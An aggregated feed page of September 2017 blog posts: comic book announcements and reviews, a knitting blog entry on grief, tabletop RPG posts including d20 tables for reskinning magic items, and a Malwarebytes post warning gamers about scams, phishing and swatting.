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Winners and Losers: Harley Quinn, Bloodshot, Comic Con, The New Yorker

First Comics News - 8 hours 22 min ago

Chris goes over this week’s Winners & Losers of the comics world.
Winner: Harley Quinn, Winner (we think): Bloodshot, Someone will Win and Someone will Lose: Comic-Con, Loser: The New Yorker.

LINKS:
CCL Slack Channel – free and open to anyone
CCL Podcast on iTunes
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CCL on eBay
This podcast direct .mp3 link

Categories: Comic Book Blogs

HARBINGER RENEGADE #0 preview

First Comics News - 11 hours 20 min ago

Valiant is proud to reveal your first look inside HARBINGER RENEGADE #0 – AN ALL-NEW JUMPING-ON POINT and MUST-READ MILESTONE building a bridge between the bloodstained fallout of “MASSACRE” and HARBINGER WARS 2, Valiant’s seismic 2018 crossover event! On November 8th, multiple Harvey Award nominee Rafer Roberts (Plastic Farm) and incendiary artist Juan José Ryp (BRITANNIA) bring the Valiant Universe’s most powerful forces to bear before a dreaded and unrepentant foe that’s more ancient, more sinister, and more dangerous than anything they’ve faced before…

Beneath the wreckage of the Harbinger Foundation, there is a secret that even Toyo Harada grew to fear. A secret simply known as… the Stormbringer.

And Alexander Solomon is about to set it free.

This near-immortal telekinetic has troubled mankind for centuries… and left the ruins of civilizations it in its wake. Now, for the first-time, the modern-day Valiant Universe confronts the reality of its evil head on in an all-new, standalone battle royale revisiting Solomon’s decades-old gambit to unleash the Stormbringer’s wrath… and guest-starring H.A.R.D. Corps, the Bleeding Monk, and more of HARBINGER’s most important and influential characters across the ages!

Out of the ashes of “MASSACRE,” the march towards the most consequential Valiant event of all time continues with an epic revelation at the heart of the HARBINGER mythos, only in HARBINGER RENEGADE #0 – featuring covers by Clayton Henry (HARBINGER WARS), Roberto de la Torre (Daredevil), Juan José Ryp (NINJAK), Khari Evans (HARBINGER), and Ben Tiesma (BLOODSHOT’S DAY OFF)!

THEN: In May 2018, prepare for war as superstar writers Matt Kindt (X-O MANOWAR) and Eric Heisserer (SECRET WEAPONS) join blockbuster artists Tomás Giorello (X-O MANOWAR) and Raul Allen (SECRET WEAPONS) for HARBINGER WARS 2 – the seismic 2018 crossover event colliding X-O Manowar, the Harbinger Renegades, Livewire, Bloodshot, and all of Valiant’s most formidable heroes!

For more information, visit Valiant on Facebook, Twitter, Tumblr, Instagram, and ValiantEntertainment.com

For Valiant merchandise and more, visit ValiantStore.com

HARBINGER RENEGADE #0
Written by RAFER ROBERTS
Art by JUAN JOSÉ RYP
Cover A by CLAYTON HENRY (SEP172034)
Cover B by ROBERTO DE LA TORRE (SEP172035)
Cover C by JUAN JOSÉ RYP (SEP172036)
Variant Cover by KHARI EVANS (SEP172037)
Variant Cover by BEN TIESMA (SEP172038)
$3.99 | 32 pgs. | T+ | On Sale NOVEMBER 8th (FOC – 10/16/17)


HARBINGER RENEGADE #0 – Cover A by Clayton Henry


HARBINGER RENEGADE #0 – Cover B by Roberto de la Torre


HARBINGER RENEGADE #0 – Cover C by Juan José Ryp


HARBINGER RENEGADE #0 – Interior Art by Juan José Ryp


HARBINGER RENEGADE #0 – Interior Art by Juan José Ryp


HARBINGER RENEGADE #0 – Interior Art by Juan José Ryp


HARBINGER RENEGADE #0 – Interior Art by Juan José Ryp

Categories: Comic Book Blogs

The Expanse: Origins Original Graphic Novel Debuts in February 2018

First Comics News - 11 hours 24 min ago

BOOM! Studios announces an all-new story by franchise creator
James S. A. Corey

  

LOS ANGELES, CALIF. (September 20, 2017) – BOOM! Studios and Alcon Entertainment are excited to announce THE EXPANSE: ORIGINS original graphic novel (OGN), arriving in comic shops and bookstores in February 2018. This softcover features an all-new story by The Expanse creator and The New York Times bestselling author James S. A. Corey that officially ties into both the worlds of the hit novels and acclaimed television series on Syfy, with a spotlight on fan-favorite character Detective Miller (portrayed by Thomas Jane). Additionally, an edition of THE EXPANSE: ORIGINS OGN containing 16 extra pages of bonus material, including a writers’ commentary and process art, will be available exclusively at Barnes & Noble.

THE EXPANSE: ORIGINS OGN also collects the digital-first, four-issue eponymous limited series, written by The Expanse television series writers Hallie Lambert and Georgia Lee, and illustrated by Huang Danlan (Venus), in print for the first time. This collection also officially ties into The Expanse canon and reveals the untold stories of James Holden (played by Steven Strait), Naomi Nagata (Dominique Tipper), Alex Kamal (Cas Anvar), and Amos Burton (Wes Chatham), the crew who commandeered the Martian navy vessel known as the Rocinante.

“We wanted to take a peek at who our beloved crew was before the Rocinante,” says Lee. “The show hints that each has painful secrets. ORIGINS gives us clues as to what those might be, and why our heroes ultimately find home in each other.”

“Writing comics exercises different creative muscles than writing for television,” says Lambert. “I grew up reading and loving comics and graphic novels, but having this opportunity to write them has given me a whole new perspective and appreciation for the art form.”

THE EXPANSE: ORIGINS OGN is the latest release from BOOM! Studios’ eponymous imprint, home to a diverse group of original and licensed comic book series, including The Woods by James Tynion IV and Michael Dialynas, Klaus by Grant Morrison and Dan Mora, Grass Kings by Matt Kindt and Tyler Jenkins, Mighty Morphin Power Rangers, WWE, Big Trouble in Little China, and Planet of the Apes.

“Working with James S. A. Corey and the rest of the team to create meaningful new stories in the world of THE EXPANSE: ORIGINS was a thrill and privilege,” says Cameron Chittock, series editor at BOOM! Studios. “I can’t wait for fans to see what they’ve uncovered, particularly for everyone’s favorite detective.”

THE EXPANSE: ORIGINS OGN features a cover by The Rahzzah (Marvel’s Luke Cage) and will be available for sale in February 2018 at local comic book shops (to find a shop near you, visit comicshoplocator.com); booksellers including Amazon, Barnes & Noble, and Books-A-Million; or through the BOOM! Studios webstore. Digital copies can be purchased from content providers including comiXology, iBooks, Google Play, and the BOOM! Studios app. The edition with bonus material will be available exclusively at Barnes & Noble.

Categories: Comic Book Blogs

WWE Superstar AJ Styles Makes His WWE Comics Writing Debut in WWE Royal Rumble 2018 Special

First Comics News - 11 hours 31 min ago

Oversized one-shot coming from BOOM! Studios in January 2018

 
Main cover by Xermánico                            Variant cover by Juan Doe

LOS ANGELES, CALIF. (September 21, 2017) – BOOM! Studios and WWE are excited to announce the WWE ROYAL RUMBLE 2018 SPECIAL, arriving in stores January 2018 and featuring some of the biggest WWE Superstars in history! In this oversized special, WWE Superstar AJ Styles makes his WWE comics writing debut in the “phenomenal” story of his first WWE appearance. He is joined by co-writer Michael Kingston (Headlocked) in this special celebration of the titular pop-culture phenomenon, which also includes new stories from acclaimed talent such as Ryan Ferrier (Kong on the Planet of the Apes), Kevin Panetta (Regular Show), Kendall Goode (The Doorman), and Daniel Bayliss (WWE: Then. Now. Forever.).

“I’ve performed in arenas all over the world, but the most special debut was in front of the WWE Universe at Royal Rumble,” says AJ Styles.

“AJ and I are friends and we have similar creative mindsets, so working with him is a breeze,” says Michael Kingston. “We collaborated on a story for Headlocked that was a lot of fun, so when the opportunity to work together again arose, it was really a no-brainer.”

WWE ROYAL RUMBLE 2018 SPECIAL features other untold stories behind some of the greatest Royal Rumble matches in history. From Ric Flair winning his first rumble to Shawn Michaels going the distance after teetering on the edge, this special showcases the greatest Superstars in sports entertainment history!

The main cover for WWE ROYAL RUMBLE 2018 SPECIAL is illustrated by Xermánico (Injustice: Gods Among Us), with a special cover by Juan Doe (American Monster, John Carter: The End) featuring “The Beast” Brock Lesnar and his advocate Paul Heyman.

Print copies of WWE ROYAL RUMBLE 2018 SPECIAL will be available for sale in January 2018 at local comic book shops (use comicshoplocator.com to find the nearest one) or at the BOOM! Studios webstore. Digital copies can be purchased from content providers, including comiXology, iBooks, Google Play, and the BOOM! Studios app.

“The WWE Specials provide an all-star team of creators the opportunity to explore WWE’s greatest moments, and WWE ROYAL RUMBLE 2018 SPECIAL will take things to a phenomenal level with the addition of a story written by AJ Styles,” says Chris Rosa, Associate Editor, BOOM! Studios.

BOOM! Studios launched its WWE comic book line in November 2016 with the WWE: Then. Now. Forever. Special, followed by the debut of the ongoing WWE comic series in January 2017. In addition, the WWE WrestleMania Special 2017 Special was released in March 2017, followed by the recent debuts of WWE Vol. 1 Redesign. Rebuild. Reclaim. (collecting WWE: Then. Now. Forever. and WWE #1-4) and the WWE SummerSlam 2017 Special. WWE Survivor Series 2017 Special debuts in November before the annual event in Houston, TX.

WWE Royal Rumble 2018 will be held at the Wells Fargo Center in Philadelphia, PA on Sunday, January 28. Along with WrestleMania, SummerSlam, and Survivor Series, Royal Rumble is one of WWE’s original “Big Four” pay-per-view events. For ticket information, visit wwe.com.

Categories: Comic Book Blogs

Project Oasis now on sale!

Greyhawk Grognard - Thu, 09/21/2017 - 22:49
Hey all!

Just a reminder that my post-apocalyptic RPG setting, Project Oasis, is on sale as part of OBS's Setting Sale. One third off is a pretty sweet deal!

For those who haven't heard of it, Project Oasis is my gonzo post-apocalyptic setting, written for Mutant Future and Apes Victorious, but usable with any old-school science fiction/science fantasy rules. It's got ape cultures, mutants ruled by giant brains in jars, militant pig-men empires, amazon realms, time bubbles with 21st century people trapped in a time just after the war, high-tech enclaves either trying to rule or save the world, and tons more.

Plus it comes with a huge map of post-apocalypse North America (here's just a snippet):


But hey, don't listen to me. Take a gander at James Mishler's review:
The upshot of the review is that this is the best PA campaign setting on the market today, if you are into the middle-era PA genre. If you aren’t, well, get on the bandwagon! The PA middle-genre provides you with all the action, adventure, seriousness, and wild and wacky wahoo you could ever want out of a PA setting, and this book distills it all down for you. Project Oasis plus Mutant Future and Apes Victorious can provide literally years of PA adventures. With Project Oasis Joseph Bloch has presented the PA gamer community with a PA campaign “Greyhawk Gazetteer” upon which to build and develop their own campaigns.

Project Oasis is a book I wish that I had written. And really, I can’t give it better kudos than that.

Five out of Five StarsI am still blown away by that review (thanks, James!). Check out Project Oasis on sale here!
Categories: Tabletop Gaming Blogs

Forty Days and Forty Demons … Dark Ark #1

First Comics News - Thu, 09/21/2017 - 21:03

 

If you are like me you come home from the Local Comic Shop with your little stack of comics, find your comfy chair and quickly sort the books. Must-read comics on top, your regulars in the middle. And that small selection of books that you are buying but you are not sure why always ends up on the bottom. My friends and I are always referring to “top of the pile” books. Over the past year and a bit one company has consistently been putting out “top of the pile” comics and that is Aftershock. For a new comic company, they are publishing some serious quality reads.

Dark Ark #1 Cover

I’ve been enjoying the heck out of Pestilence (see my review here for the details) so when I saw a solicitation for Dark Ark, also from Aftershock I figured it was a definite book to try out. Boy, was I not disappointed. We all know the tale of Noah. God had decided to cleanse the Earth of sinners and would flood the lands for 40 days and 40 nights. But before doing so God approached a man named Noah. He instructed Noah to build a vast ark and gather two of every animal in preparation for the Great Flood. But was Noah the only ark builder? Dark Ark writer Cullen Bunn explores the possibility that the darker powers also wanted some creatures saved. They contact the sorcerer Shrae and instruct him to build an ark as well and to fill that ark with all manner of unnatural creatures. Dragons, vampires, harpies, and the manticore are amongst the passengers on this Dark Ark.

The comic book could have easily gone off the rails with this premise but Cullen imparts a lot of character into Shrae’s family. He puts the main focus in this first issue on the sorcerer and his daughter Khalee. In one short comic, you immediately sense the depth of the characters. The introductory plot is predictable enough with the obligatory meet and greet but there are some neat threads that you sense will come into play sooner than later. The concept is executed solidly and the interplay with the sinister characters is interesting. The politics or pecking order onboard and how there is a really uneasy peace that could be broken at any time.

Dark Ark #1 Interior Page

I’ve seen artist Juan Doe’s work elsewhere but I didn’t recall exactly where and I had to look it up. Juan worked on American Monster and Animosity, also from Aftershock but I suspect I’ve seen his work elsewhere. His style is not as feature realistic as a Jim Lee but really appealing. I totally dig the art in the Dark Ark. Colours, when scenes are deep in the Dark Ark’s hold, are primary, jarring and suitably demonic. The palette changes and becomes less in-your-face when panels feature the human characters. With a name like Juan Doe one can’t help but assume this is a pseudonym and maybe SHE is doing a great job on this comic? Ryane Hill’s lettering works just as it should, bringing a sinister vibe to the creatures but without going over the top.

Top of the pile. I can tell you right now that Issue #2 of Dark Ark will be at the top of my to-read pile next month. Issue #1 is on the shelves right now so head to your Local Comic Shop soon. Nice job Aftershock.

Issue: Dark Ark #1 | Publisher: Aftershock Comics LLC
Writer: Cullen Bunn | Artist: Juan Doe
Letters: Ryane Hill | Editor: Mike Marts
Price: $3.99 – 32 pages

Categories: Comic Book Blogs

And lo, such a thing exists

Yarn Harlot - Thu, 09/21/2017 - 20:52

As much as I thought it might not, time is starting to assume its normal course.  The days are starting to be the length that I expect them to be, not stretching out in front of me like a desert I didn’t bring enough water to get across.  For a while there I had to be so busy just to fill those days up. Walking, riding, swimming, cleaning, organizing… if I stopped too long and tried to do something like write or knit then I had too many of those pesky feelings all at once and had to clean out another damn closet. Now I’m mostly okay as long as I don’t think about how Thanksgiving is in two and a half weeks and I really don’t know how to manage that holiday if I can’t have it with my mother and where do we have dinner now for all the holidays and really I’m going to have to move because my dining room can’t hold everyone and… see. There it goes.  I’ll worry about that next week when it might not result in having to clean all the grout in the house with an old toothbrush after jogging 3km.

The point, before I started worrying again, was that things are okay enough now (oh man who is going to make the pies) that as long as I stay sorted, I can knit, and it feels like it helps a lot, and what’s really interesting is that this idea, that once the shock passes, that knitting is going to be a really useful way through grief… It’s not just me who thinks it. My inbox (thank you, thank you, thank you for the wonderful notes and letters and thoughts, I am reading them all, even if I can’t answer) is chock full (okay there are five) people who have written to me not just to suggest that knitting would be helpful (because there are a lot more than five of you who think that) but to call the kind of knitting they think would be helpful “Grief Knitting.”  These charming knitters have even gone so far as to cite the specific projects that they think would be the most helpful, and you know what’s interesting? They have a lot in common.

All the projects are challenging – challenging from the perspective of that particular knitter, for sure, but challenging none the less. They were kinda tricky for the knitter to complete, and they took up some of that scary mental energy that comes with grief. (Oh no mum always makes the turnips too.) All the projects are things that sparked a tremendous amount of joy and pride – the knitters think what they made was beautiful, and feel that they did a good job… and finally (here’s where it gets weird.) All of the projects but for one, were for babies.

Think about that. It’s a pretty compelling bit of information, and it makes me feel better that the two things I’ve knit since my mum died are both tiny things.  First the little hat, and now Elliot is bedecked in a matching sweater.

It’s beautiful to be sure – the yarn is Northampton, but with a bit of a twist. It was the natural colour, but I gave it to Judith to dye at the last Strung Along retreat, and it went for a swim in her indigo pot.  It’s a beautiful blue now, and reminds me of her when I look at it, which is really quite nice, and it suits Elliot pretty well.

The pattern is Gus, and here’s where it didn’t quite fit the bill to be Grief Knitting, it was pretty easy.  The pattern’s well written – so I didn’t struggle with anything at all.  I’ll have to try something from a less competent designer next.

I tell you this, even unfinished (which it technically is, I’m waiting for the buttons) it does spark a tremendous amount of Joy.  Part of it is that little face, and the other part?  It is the pockets. I can’t tell you how much I love pockets on a baby sweater. It gives me an unreasonable amount of happiness to think of two perfect, tiny pockets, in a proper, handy spot… all for someone who has absolutely nothing to put in them.

Delightful.

Categories: Knitting Feeds

Don’t let these gaming threats give you a Game Over

Malwarebytes - Thu, 09/21/2017 - 20:24

With EGX, the biggest gaming event in the UK opening its doors today, we thought it’d be timely to remind you of some of the threats currently facing gamers. No matter what type of game, client, or system you use, there’s always something waiting to try and give you a bad day where the safety of your account is concerned.

GTAV cash generators

Some games, like GTAV, involve an amount of “grinding” (performing potentially repetitive tasks) to get what you want. In this case, incredibly expensive items/additional content which are free to download, but cost in-game money to make use of. In GTAV, you can buy in-game currency with real money to speed up the process, grind, or turn to the internet in search of free money tools. While modders in game sessions can – and do – spawn money from the sky, or only add cash to your account, the huge pile of YouTube videos and web comments claiming to offer free services online are all fake. The so-called money generators are merely survey scams, which lead to requests for personal information or downloadable files (which may or may not be malicious).

Steam scams

These are very popular, especially with accounts being able to buy and sell (expensive) digital items for various titles, adding extra desirability to scammers wanting to make a quick buck. Phishing is a mainstay of Steam scams; other attacks, such as swiping a Steam SSFN file to bypass Steam Guard are much more sophisticated. Be wary of fake item trades, especially if they don’t lead to an official Steam URL – you may well be looking at a static phishing page, or one which scrapes some elements from the real thing to appear legitimate.

Read: Something’s phishy: How to detect phishing attempts

Swatting

The act of sending armed law enforcement round to a game streamer’s house, which could potentially be fatal. Streamers usually get caught by this by being too open with their personal information – quite often, you’ll find out all you need to know about your target simply by listening to them stream. Before you know it, they’ll have casually mentioned locations, even nearby streets where their friends live, and much more besides. Calls to said friends pretending to be someone else, for example, will fill in the missing pieces of the puzzle.

Ironically, the main way to avoid swatting (for the most part) is to tell people who make a living out of talking, to stop talking about themselves (just a little bit). This is no guarantee of safety; many other ways exist to obtain a home address via publicly available information. All in all, Streaming is a bit of a dangerous past-time.

Game company hacks

There’s not a huge amount you can do when the gatekeepers of your data get popped, but that doesn’t mean you should be complacent. Many game companies and hardware makers now offer additional forms of security such as key fobs and two-factor authentication, which you should make use of whenever possible. You may also wish to use a password manager to ensure you’re not just reusing the same passwords everywhere, which could lead to additional compromises. Modern gaming can require multiple passwords across different gaming platforms just to play one game, so it’s fairly common to see video game password burnout – don’t fall for it!

Fake emulators

It’s becoming increasingly difficult to obtain old game consoles, much less play the original titles. Even on consoles where backwards compatibility exists, titles differ from how they were originally, or licensed music has been replaced, or the control scheme is different, or maybe it works on this console but not that mobile properly, and anyway its funded by ads, and so on.

Entering stage left: fake emulators. It is still challenging to emulate most of the last generation (or two) of consoles, and you should be extremely wary where such claims are concerned.

These are some of the most common problems we see on a daily basis in gaming land; feel free to offer up some of the scams you’ve seen doing the rounds in the comments below. Safe gaming!

 

The Malwarebytes Labs Team

The post Don’t let these gaming threats give you a Game Over appeared first on Malwarebytes Labs.

Categories: Techie Feeds

The Best of First Comics News – August 2017

First Comics News - Thu, 09/21/2017 - 19:18

Summer is over and soon the leaves will be changing and winter will be upon us. I think there may be a Game of Thrones quote in there somewhere but since I do not watch the show I will leave it up to you to decide. Another month of publishing is behind us and it is time for me to dive into the hundreds of posts from the last 31 days, pick out some that may have gotten lost in the flood of posts and highlight ones that deserve your attention. If there was an article that you enjoyed that did not make the list please drop me a line and I may add it, after all no one is perfect, not even your humble managing editor!

Wayne Hall is never one who hesitates about from speaking from the heart and his column titled “If I Don’t Know About It, It Obviously Sucks!” will likely strike a cord with some readers.

Martian Manhunter is a character that is tough to cosplay, you need the build, you need the shaved head and you need the green paint. Lots and lots of green paint! This Martian Manhunter cosplayer knows it out of the park, check out the forhead for pete’s sake! Attention to detail is key and this one is a home run!


The 100th Anniversary of Jack Kirby’s birth was a major cause of celebration this month podcast host Arthur Sippo joins in with a great interview with author Jeff Deischer. Jeff has written a book titled “The Strange Harvest of Dr. Aquarius” which takes many of Jack Kirbys characters who are in the public domain and creates an epic crossover between them all.

I know that Rik Offenberger, Editor-in-Chief and author of the MLJ Companion, is pretty damn excited about the Mighty Crusaders #1 launching in December but so am I and so should you! Rik talked with series writer Ian Flynn and got him to give fans some hints about what to expect at the end of the year in this site exclusive interview.

Phil Latter in writing a splendid series of articles about the Charlton Comics line of super-heroes that everyone really should read. It is well written, exhaustively researched and full of fascinating  information about characters you may know like The Question and Blue Beetle along with some you probably have never heard of. When Phil wrote the introduction to the first installment of The Charlton Comics Mystique he states that he has a book worth of material but no time to write it thus the series of smaller more focused posts. I for one hope that he eventually does find the time to write the definitive history of Charlton Comics as this series of posts is top notch and worth your time to read it.

Tanya Tate went to SDCC all all she brought back was EVER Disney Funko exlcusive figues. And I mean everyone of those little guys! Check out her video if you were not able to make the convention and wanted to see the exclusives that you missed.

Categories: Comic Book Blogs

[REVIEW] Crypt of the Lilac High Priest (2017)

Beyond Fomalhaut - Thu, 09/21/2017 - 19:05
[REVIEW] Crypt of the Lilac High Priest (2017)by Geoffrey McKinneySelf-published
Crypt of the Lilac High PriestGeoffrey McKinney and his products are not affiliated with Wizards of the Coast. I know this because it says so right on the cover of this module, the latest in a series of several old school modules which do their darnedest to look like something TSR might have done in its heydays. This one is a mono-era knockoff with David Sutherland knockoff cover art, although it doesn’t quite go all the way with the trade dress fetishism – which becomes clear once you look inside and notice the homemade production values (unruly two-column text without even mono-era TSR’s concessions to modern deviltry like “layout”, “accessibility”, or “page numbers”). This is not always a good thing, but the module is as honest about its homespun simplicity as its sources of inspiration.
What you get inside is a two-level dungeon which keeps the cover’s promise by presenting a no-nonsense, meat-and-potatoes dungeon adventure inspired by the likes of the Giants/Drow series. It is actually even more specific in its influences: it combines the “cavern rooms” inhabited by creepies and crawlies you find in G1 and D1, and the various weird evil temples you find through the series, and builds a full 35-room dungeon out of them for beginning characters. If you liked those rooms, you will probably find this module agreeable. The premise revolves around obtaining one of the teeth of Dahlver-Nar, here the prophet of the worm cult, an unpleasant society of purple worm-worshippers. Dahlver-Nar had enough magical teeth to fill a 16-module series (of which this is the first part), or it can be used as a one-off – it should work as well alone as in a series.
The encounters put a high emphasis on monster lairs (a combination of cave dwellers and intruders who have come here following their agendas) with general oddities and magical enigmas, and the remains of a temple complex constructed within the cavern system, but apparently being reclaimed by it (there is a river running right through the cultists’ abandoned temple). The overall style has the sense of exotic oddness the author has been known for, without Carcosa’s gruesomeness or the generic blandness of Dungeon of the Unknown. This module has a fairly good balance of the different sensibilities it draws on – the familiarity of mediaeval knights and wizards in conical hats combined with odd-coloured otherworlds set in underground caverns. The worm cult’s traces in the dungeon complex are likewise a mixture of the mundane and the alien. There is even a beholder encounter (spoiler: it is right on the cover) which will surely encourage panicky guessing among seasoned players – is the GM using a gas spore or a real beholder, and can we afford to test it? – although I believe it does the wrong thing in the end.
Sometimes, things feel randomly generated without being sufficiently thought through afterwards (a hard to find piece of treasure is talked up as a beautiful historical rarity, and then valued at 95 gp), and sometimes, this randomness feels justified as a weird underearth thing (a place where the characters can experiment with a cavern of varicoloured magical nodules, each producing a different magical effect). The dungeon’s layout is tricky at first glance due to all the twisting and turning corridors, but it is more linear than you would expect, and there is altogether less content than you could fit in here if the text was a bit more leanly written, and the maps had more stuff going on – minor things, but you notice them.
Then there is that layout again, and I say this as someone who is usually satisfied with simple two-column text. Most encounters are presented as ungodly long blocks of text without breaks, bolded text or highlighting that would help sort out the information and draw the GM’s eyes to the important details. Important information is sometimes presented out of the logical order (e.g. room 10, where the probability of an important encounter occurring is given dead last), or thrown into the middle of a wall of text. Monster statistics are usually embedded into the flowing text… ironically, I swear there is an instance where they are omitted altogether, but I am not finding it. This is not good, and Tomb of the Sea Kings, another module wearing its love for mono-era TSR on its sleeve shows that it can be done while keeping that iconic look. However, the maps are fine, legible and mostly unambiguous: they do their job and don’t get in the way.
Crypt of the Lilac High Priest, as stated before, is a fundamentally honest take on mono era AD&D with a light weird touch. It is not a real standout, but “better than average” describes it suitably. When OSRIC opened the gates before small-press old school adventures, this is about what I was expecting (and sadly, wasn’t getting) as the standard. If the forthcoming parts of the series solve the layout and presentation issues, they will be a solid addition to a GM’s module library.No playtesters were listed for this adventure. Geoffrey McKinney and his products are not affiliated with Wizards of the Coast. Wizards of the Coast and their products are not affiliated with Geoffrey McKinney.

Rating: *** / *****
Categories: Tabletop Gaming Blogs

Thimbleweed Park adventure game now available on Nintendo Switch

First Comics News - Thu, 09/21/2017 - 19:04

In October 1987, the now classic adventure game Maniac Mansion was released. This graphic adventure by Ron Gilbert and Gary Winnick permanently changed adventure games with innovations like verb icons displayed on-screen (no more typing into a text parser!), the ability to switch between five playable characters, and animated cutscenes. Maniac Mansion was also the only Lucasfilm adventure to be ported to the Nintendo Entertainment System.

Fast forward 30 years. Ron and Gary have teamed up again, this time for Thimbleweed Park. And just like Maniac Mansion, Thimbleweed Park can now be played on a Nintendo console — but this time it’s the Nintendo Switch console.

The Nintendo Switch version of Thimbleweed Park supports both Joy-Con controllers and touch screen functionality so you can easily switch between tabletop, handheld, and TV modes. The Nintendo eShop price is $19.99 (USD), or equivalent in local currency.

It Starts With A Dead Body Maniac Mansion’s release wasn’t the only big event of October 1987. There was also a murder — a dead body pixelating under a bridge. And a conspiracy. A secret underground meeting. Signals so strong you could feel them from the highway. Another murder. The reading of a will. Oh, and a comic book convention. All converging on one specific night, in one specific place: Thimbleweed Park. Five people — two federal agents, a washed-up insult clown, an aspiring game developer, and the ghost of a pillow salesman — have been drawn to this strange, rundown place. They don’t know it yet, but they’re deeply connected. And they’re being watched. In a town like Thimbleweed Park, a dead body is the least of your problems.

Thimbleweed Park Features on Nintendo Switch

  • A neo-noir mystery set in 1987
  • 5 playable characters who can work together… or get on each other’s nerves
  • Not a walking simulator!
  • Satisfying puzzles intertwined with a twisty-turny story that will stay with you.
  • A vast, bizarre world to explore at your own pace
  • A joke every 2 minutes… guaranteed!*
  • Casual and Hard modes with varied difficulty
  • 1980s-style telephone hint line gives in-game puzzle help — if you want it
  • English voices with English, German, French, Italian, Russian and Spanish subtitles

*Not a guarantee

Categories: Comic Book Blogs

State of The Tavern - Milestones Met and a Special Guest

Tenkar's Tavern - Thu, 09/21/2017 - 18:48

Its been a pretty big week here at The Tavern.

First, we hit 200+ members of the Tavern's Discord server last night Simply an amazing amount of interaction in so little time.

Today we surpassed 1800 members in The Tavern's Facebook Community, putting us within throwing distance of 2000 members by the end of November, its two year anniversary.

Going back to last night, its official - Bill Webb stated there will be a room for Rach and I at Gamehole, so we are going! You be able to find me (and Rach) most often at the Frog God booth I suspect.

Talking about Bill Webb, he dropped into last night's Tavern Chat - specifically the voice chat at 9 PM Pacific - which means midnight eastern, and stuck around for an hour doing what Bill does best - being Bill. If you've ever met Bill at a convention, last night felt like that. If you haven't, you need to drop into Tavern Chat one Wednesday night. Bill will be coming back but there is no set schedule. A wonderful time was has by all.

This morning I did the number and for the month of September I'll be able to pay myself minimum wage for two hours a day for the 30 days. And we are only at the 21st of the month. We are within easy striking distance of $300 in affiliate monies earned at RPGNow for me to commit to posting small adventure for free at The Tavern in the month October. If all funding hits $500 or better for the month of September (RPGNow, Patreon, Paypal subscriptions and Adsense) I promised to present a well detailed NPC for SWL / SWC, including adventure hooks. That is also within spitting distance. Thank you all for the support. You have no idea how much it means to me.

In the meantime - Game On!
Categories: Tabletop Gaming Blogs

Reskinning magic items

Blog of Holding - Thu, 09/21/2017 - 18:06

An easy way to customize magic items is to take an item’s power and attach it to a different object: boots of flying becomes an umbrella of flying, for instance. Apart from armor and weapons, pretty much everything else is interchangeable. Here are some d20 lists for reskinning items.

Note: you can roll once per item type and use the result throughout a certain dungeon. For instance, all potions in the Berserkers Freehold are actually applications of woad.

POTIONS
1: an entire gallon of wine which must be completely consumed
2-11: just a boring ol’ potion
12: facepaint, rouge, or woad
13: drug-tipped needle that you need to jam into your arm
14: rare herb (give it a name: potion of storm giant strength = “galeroot”, etc)
15: smelling salts
16: scroll containing a 2-line rhyming incantation
17: pearl that must be eaten, or something else that people don’t usually eat like a scorpion or spiderweb
18: torch: potion affects whoever lights the torch
19: pinch of fairy dust
20: one-use ring: its magic is activated when it is removed or destroyed

RINGS
1: metal hand, pegleg, glass eye. can only be worn if you are missing the appropriate body part
2-11: just a ring
12-13: +1 dagger: you can activate a spell or power only as part of an attack, or alternatively by giving yourself one of those ritual palm cuts you see in like every fantasy movie (doing yourself 1 point of damage)
14-15: other jewelry (necklace, tiara, earring, bracelet, crown of living flowers)
16: ever-full box of snuff, candies, or pills which must be attuned to you. Taking a dose activates the item’s powers for 12 hours
17: fantastic hat with 1d6 feathers and a brim of 2d20 inches
18: a blessing which someone bestows on you. You can transfer the benefits by saying the blessing to someone else
19: signet ring. Only functions if you are part of the family or organization specified by the ring. or it’s a wedding ring and it only functions if you’re married.
20: signet ring. Choose another random magic ring. When the signet ring is turned in, it acts as ring 1. When the signet is turned out, it acts as ring 2

RODS, STAFFS, WANDS
1: puzzle cube that must be solved to use a power (1 action per attempt, Int or Wis check DC 10)
2-10: just a rod, staff, or wand
11: umbrella. Every use of a charge changes the umbrella’s state in some way (open/close, handle extended, inside out, etc)
12: trumpet or horn or gong or basically anything else where activating a power is extremely loud
13: monocle: putting it on allows you to activate a power, letting it fall comically out of your eye activates another
14: bag of something weird, like teeth: throw one to activate
15: gemmed crown: each gem activates a different power
16: spoon, fork, or knife: activate a power by eating
17: glove: powers can’t be activated while the glove is holding anything
18: glowing orb, or giant and obviously expensive jewel
19: whip: powers activated by cracking the whip
20: a familiar which bonds to the owner (as if the owner had cast Find Familiar). The familiar can activate the magic item’s abilities

SCROLLS
1: heavy stone tablet
2-11: just a scroll
12: a specific braid in someone’s hair: may be copied like a scroll, but only into someone else’s hair. When the spell is expended, the hair unbraids itself
13: tiny spirit who can cast spells. Flits around you and casts spells at your command; leaves when all spells are expended
14: belt pouch containing one peculiar coin per spell. Spell is cast when you flip the coin. On a heads, the coin is not expended; on a tails, the coin disappears
15: deck of spell cards: contains 6 spells but you can’t decide which one to cast, you have to pull one randomly from the deck and toss it like that one X Man
16: graffiti nonsense words which sear themselves upon your retina until you read them aloud
17: spell is written on the last page of an otherwise mundane book
18: verse of a song which can be sung as an action. No one can sing the verse more than once. However, anyone else, regardless of class, who hears it may make a DC 15 Intelligence check to learn it. Bards have advantage
19-20: jewel: any user, regardless of class or level, can cast the spell by shattering the jewel

WONDROUS ITEMS
1: something large and/or breakable, like a piano, alchemical setup, rug, or statue
2-11: as written in the item description
12: mirror, map, painting, certificate, or something else in a frame
13: key, keyring, bottle opener, coin purse, handkerchief, string, or anything else which is often kept in ordinary pocketses
14: gamepiece from a set, such as a chessman or die or playing card. Find the rest of the gamepieces! Each has the powers of a different wondrous item!
15: sock, necktie, cummerbund, garter, shawl, or other rarely-magical article of clothing
16: book
17-19: roll up another random wondrous item. It looks like item 2 but has the powers of item 1
20: it’s sharp, or on a stick, or it fires lasers, or something, and can be wielded as a +1 weapon (+2 if very rare, +3 if legendary)

OK, now I’ll randomly roll up one of each of the item categories (selecting the first of each type from donjon.bin.sh and then rolling on my charts) and see if I come up with good items.

Potion of Superior Healing; roll of 16, Rhyming Incantation: An astrological star chart which contains the couplet “Sun and Moon, heal my wound.” Read the words aloud and be healed 8d4+8 HP, and the star chart incinerates.

Ring of Warmth; roll of 6: just a Ring of Warmth. Boring! Roll again! 17. Hat. A dragoon hat with a phoenix feather plume and a 15-inch brim. Wearing it grants you resistance to cold damage and immunity to cold above -50 F, but makes it hard for you to walk through narrow doors.

